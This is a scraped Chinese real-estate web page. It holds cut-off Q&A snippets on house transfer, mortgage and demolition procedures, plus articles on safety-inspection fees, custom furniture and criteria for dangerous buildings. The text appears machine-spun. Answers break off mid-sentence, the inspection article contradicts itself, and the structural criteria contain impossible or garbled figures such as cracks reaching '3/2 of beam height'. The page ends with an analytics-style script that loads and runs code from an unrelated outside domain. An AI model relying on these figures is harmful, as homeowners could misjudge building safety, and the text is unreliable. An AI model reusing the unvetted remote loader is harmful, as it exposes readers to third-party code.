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姜波鸿
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问谁清楚二手房屋过户程序是怎样的
答1,买卖双方签订买卖合同; 2,到房管局先打网签; 3,然后带上网签合同到核税窗口排号核税; 4,带上核税的单子到办证大厅办理过户手续; 5,办理过
问房屋抵押办理程序是怎样的谁能给说说?
答你好,1、提出贷款申请 借款人向金融机构提出贷款用途、金额及期限等申请。如果贷款申请符合此金融机构的贷款范畴,接着就需要准备相应的资料。 2、递
问谁知道房屋强拆程序是怎样的?
答1拆迁调查和项目概算。由拟申领《房屋拆迁许可证》的单位组织; 2拆迁管理部门对申领单位所申报的材料进行审核。提交申报的材料有: ①建设项目批准文
问二手房屋买卖程序具体是怎样的?
答先签订房地产买卖合同(当地房地产交易中心可买到),在合同里面都写明你们双方的约定,比如怎么付款,分几次付款,一般都是签了买卖合同首付给他3成,然后去房地产交
问二手房屋交易程序是怎样的
答一、买方按揭贷款购房 1、银行征信调查(去人民银行查买方的征信情况); 2、房屋产权调查(调查房产是否抵押,查封,析产,继承,共有权人情况); 3、向
房屋安全鉴定费用标准是多少
所有的房屋在进行入住之前都是需要进行房屋安全鉴定的。房屋安全鉴定是非常重要的,因为所有的房屋在建造的时候都是要根据一定的工程设计图纸进行,大部分的工程设计图纸都会对房屋的安全设计有一定的规划。但有些非法的建筑商会为了节省成本而偷工减料,导致房屋的安全没有达标。大家知道房屋安全鉴定的收费标准是怎样的吗?下面我们就来看一下房屋安全鉴定的收费标准。一、房屋安全鉴定的途径现实当中,因不当使用而对楼宇造成损坏的情况有很多,但因为普通居民楼分属于不同的业主,因此很难统一协调进行保护,这就为房屋安全埋下了巨大隐患。市民如对房屋质量鉴定存在疑虑并申请鉴定时,可以通过小区业主委员会,以单幢建筑所有产权人的名义向鉴定中心提出房屋安全鉴定申请;如果没有业主委员会,市民也可联合该房屋所在建筑物的所有权利人提出房屋鉴定申请。总而言之,未经房屋鉴定的房屋,居民平时要定期观察房屋内墙壁、地板、天花板等位置是否存在沉降、倾斜和裂缝等现象。重点要注意观察裂缝出现的部分这些都是房屋质量鉴定的项目。其中,由材料干湿变化引起的地面、墙面网状裂缝,或由热胀冷缩变形原因造成的裂缝不属于危险裂缝。居民碰到类似情况须引起重视,并尽快进行房屋安全鉴定。二、房屋安全鉴定的条件1、在房屋建筑上设置高耸物、搁置物或者悬挂物的,属于拆改房屋结构、明显加大房屋荷载或者在楼顶设置广告牌等高耸物的,应当由原房屋设计单位或者具有相应资质等级的设计单位提出设计方案,经房屋安全鉴定机构鉴定符合安全条件后,方可设置。2、严重损坏的房屋一般不得装饰装修。确需装饰装修的,应当先进行房屋鉴定,并采取修缮加固措施,达到居住和使用安全条件后,方可进行装饰装修。3、非住宅房屋装修涉及拆改房屋结构、明显加大房屋载荷的,应当由原房屋设计单位或者具有相应资质等级的设计单位提出设计方案,经房屋质量鉴定机构鉴定符合安全条件后,方可施工。4、原有房屋改为公共娱乐场所或生产经营用房的,经营者应当向房屋质量鉴定机构申请房屋鉴定。5、因发生自然灾害或者爆炸、火灾等事故危及房屋安全的,房屋所有人应当及时向房屋安全鉴定机构申请房屋鉴定。6、兴建大型建筑或者有桩基、地下建筑物和构筑物等建设项目的,建设单位应当在开工前向房屋安全鉴定机构申请对施工区相邻房屋进行房屋鉴定,并按照规定采取安全保护措施。三、费用房屋安全鉴定费用标准是1000左右。以上就是房屋安全鉴定的收费标准介绍。不同的小区的房屋安全鉴定的收费标准是不同的。房屋在进行安全鉴定的时候也是有条件的,并不是所有的房屋都可以进行房屋安全鉴定。房屋鉴定一般是需要申请的,正常情况下的房屋一般不需要进行安全鉴定,房屋安全鉴定主要是为那些发生了自然灾害和人为灾害的房屋提供的。房屋安全鉴定也可以分为两种,一种是公费,一种是自费。
全屋家居定制怎么样?全屋家居定制有哪些工序?
如何装修装饰家居环境是每个人都非常关注的,随着人们审美要求的不断提高,更美观更个性化地装饰我们的住宅环境,是时下茶余饭后人们热论的话题,根据人们多样化的需求,家装市场也出现了各种各样的装修装饰服务,今天,小编要和大家说的是全屋家居定制,全屋家居定制,顾名思义,就是整套房子的统一家具定制,其那么,全屋家居定制究竟有哪些工序呢?下面小编就给大家介绍一下全屋家居定制吧。全屋家居定制工序1—量房、风格全屋家居定制的工序相对比较复杂,不过当你看到成果之后还是觉得麻烦一点是值得的。首先,要练习厂家上门量房,将家居环境了解一下,工作人员会询问你需要什么样的风格样式,然后再给出自己的建议,共同合作。全屋家居定制工序2—材料选择全屋家居定制的材料选择是一个严肃的问题,许多客户都在材料上有比较高的要求,比如说材料的质量、环保性能等等。这些问题工作人员都会详细介绍给你的,最主要还是尊重你自己的选择。除了材料就是五金配件的选择,工作人员也只是给出建议,靠客户们自由选择。全屋家居定制工序3—制作客户们不同担心工作人员会在自己家里进行制作,这不是打制家具,是定制家具。工作人员会在自己公司的厂房里进行制作,不会给客户的生活带来任何影响。客户们可以不时的打电话询问全屋家具的制作进程,以便工作中的交流。全屋家居定制工序4—送货上门在工作人员将全屋家居定制做好之后,就会打电话联系业主。工作人员会送货上门,并且将全屋定制家具给你安装好,直到您满意为止。还会送上全屋定制家具的保养方法,给你参考。全屋家居定制的售后服务说到售后服务,全屋家居定制的售后服务是全程跟踪的,这是比较大型的交易,因此,在售后服务方面是非常好的,不用太担心。不过全屋定制家具的厂家不同,可能在细小的售后服务方面可能有所不同,不过都大同小异。以上就是小编给大家整理的有关于全屋家居定制的相关介绍啦,不知道大家在看完之后是不是都对全屋家居定制有了更多的认识和想法了呢?其实,全屋家居定制在我们的家装市场中运用还是非常广泛的,小编认为,大家在选择家居装饰的时候要综合考虑自己家的实际情况,不妨也可以尝试全屋家居定制,希望小编的建议能够帮助到大家。
危房鉴定 看看你家的房子是否安全
危险的房子给人们带来的危害是不可估量的。那么如何进行危房鉴定呢?一、危房鉴定之地基标准1.如果危房鉴定出基础发生滑移,或承载力不足等原因引起的沉降不均匀,则结构会出现明显变形、位移、开裂、倾斜等,且仍有恶化的趋势。2.危房鉴定发现房屋结构在基本老化、腐蚀、断裂等条件下具有明显的变形、位移、裂缝、边坡等,并有恶化的趋势。二、危房鉴定之梁标准1.单梁或连续梁的中部产生较大的横向裂缝,或端部延伸至梁高的3/2处,保护层脱落,垂直裂缝伴随出现。2.框架梁在固定端产生明显的竖向或斜向裂缝,或产生交叉裂缝。3.预制板下产生明显的竖向裂缝。4.在板的顶部周围形成裂缝,或者在下面形成交叉裂缝。5.各种梁和板产生的挠度超过跨度的1/150,且受拉区裂缝宽度大于1mm。6.各种板材保护层脱落,超过一半的主肋外露,锈蚀严重,断面缩小。三、危房鉴定之屋架标准1.产生的挠度大于跨度的1/150,下弦产生的垂直裂缝大于1mm。2.支撑系统的失效导致了桁架高度的2/100以上的倾斜。3.保护层脱落,主要肌腱暴露并生锈。4.端节点连接松散,裂缝明显。四、危房鉴定之梁拱标准1.危房鉴定出梁中部出现竖向裂缝或末端有明显斜裂。支撑梁的墙体出现水平裂缝或有明显的弯曲,下沉,变形。2.危房鉴定出筒拱、扁壳、波纹筒拱、拱顶拱开裂,或者拱明显变形或者拱明显移位,或者拱杆松脱,或者拱杆严重,截面减小。五、危房鉴定之墙标准1.墙体有缝长1/2以上的竖向裂缝,缝宽2cm以上的裂缝,或多个缝长1/3以上的竖向裂缝。2.梁支撑下的墙体产生明显的竖向裂缝。3.产生倾斜度,倾斜度超过1.5/100(三层以上,总高度0.7/100以上),或相邻墙体接缝处断裂。六、危房鉴定之列标准1.立柱体产生水平裂缝或垂直裂缝,缝长超过立柱高度的1/2。2.梁支撑下方的柱子产生了许多垂直裂缝。3.产生倾角,倾角量超过1.2/100(三层以上,总高度的0.5/100以上)。4.风化、切割和砂浆粉碎,造成超过1/5的有效截面弱化(平屋可达1/4)。总之,如果房子坏了,就不能再住了。一旦它崩溃,后果将不堪设想。在这里提醒大家,危房鉴定非常重要,尤其是二手房的危房鉴定。每个人在买房的时候都必须注意防止潜在的危险。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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